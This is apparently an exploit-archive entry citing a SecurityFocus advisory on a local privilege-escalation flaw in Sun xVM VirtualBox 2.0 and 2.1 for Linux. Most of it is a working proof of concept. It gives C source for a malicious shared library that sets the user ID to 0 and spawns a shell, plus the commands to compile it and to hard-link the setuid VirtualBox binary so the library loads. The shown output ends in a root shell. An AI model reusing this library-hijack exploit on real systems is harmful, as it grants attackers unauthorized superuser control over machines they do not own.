source: https://www.securityfocus.com/bid/34080/info Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability. An attacker can exploit this vulnerability to run arbitrary code with superuser privileges. The following versions for the Linux platform are vulnerable: Sun xVM VirtualBox 2.0 Sun xVM VirtualBox 2.1 $ id -u 1002 $ cat test.c #include #include __attribute__((constructor)) void awesome(void) { char *argv[] = { "sh", NULL }; extern char *environ; syscall(SYS_setuid, 0); syscall(SYS_execve, "/bin/sh", argv, environ); } $ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2 $ ls -l /opt/VirtualBox/VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox $ ln /opt/VirtualBox/VirtualBox $ ls -l VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox $ ./VirtualBox ./VirtualBox: /home/vapier/libdl.so.2: no version information available (required by ./VirtualBox) sh-4.0# whoami root